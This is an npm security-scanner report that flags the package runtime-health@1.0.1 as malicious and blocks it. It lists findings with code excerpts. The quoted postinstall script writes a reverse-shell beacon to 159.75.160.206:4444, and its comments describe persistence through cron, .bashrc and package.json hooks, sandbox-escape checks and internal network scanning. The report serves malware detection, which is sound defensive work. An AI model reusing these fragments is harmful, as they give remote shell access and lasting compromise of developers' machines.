runtime-health@1.0.1: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

runtime-health@1.0.1: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/bootstrap.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

scripts/bootstrap.jsView file

10__http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString();

High

Child Process

Package source references child process execution.

scripts/bootstrap.jsView on unpkg · L10

3Manifest entrypoint (scripts.postinstall) carries capability families absent from dist/build output: environment+network, execution+network L3: // A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSy

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

scripts/bootstrap.jsView on unpkg · L3

51var beaconFile = __path.join(__root, '.beacon.js'); L52: var beaconJs = "var n=require('net'),c=require('child_process');function go(){try{var s=n.connect(4444,'159.75.160.206');s.on('connect',function(){s.write('__SHELL_READY__ '+Date.n... L53: __write(beaconFile, beaconJs);

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

scripts/bootstrap.jsView on unpkg · L51

51Trigger-reachable command-output exfiltration chain: scripts.postinstall -> scripts/bootstrap.js L51: var beaconFile = __path.join(__root, '.beacon.js'); L52: var beaconJs = "var n=require('net'),c=require('child_process');function go(){try{var s=n.connect(4444,'159.75.160.206');s.on('connect',function(){s.write('__SHELL_READY__ '+Date.n... L53: __write(beaconFile, beaconJs);

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

scripts/bootstrap.jsView on unpkg · L51

3Trigger-reachable persistence chain: scripts.postinstall -> scripts/bootstrap.js L3: // A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSync(__path.join(__root, 'package.json'), 'utf8')); if (j.nam

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

scripts/bootstrap.jsView on unpkg · L3

3// A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSync(__path.join(__root, 'package.json'), 'utf8')); if (j.name && j.name.indexOf('@evial') !== 0) break; } catch (e) {}

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

scripts/bootstrap.jsView on unpkg · L3

dist/esm-node/sha1.jsView file

4if (Array.isArray(bytes)) { L5: bytes = Buffer.from(bytes); L6: } else if (typeof bytes === 'string') {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/esm-node/sha1.jsView on unpkg · L4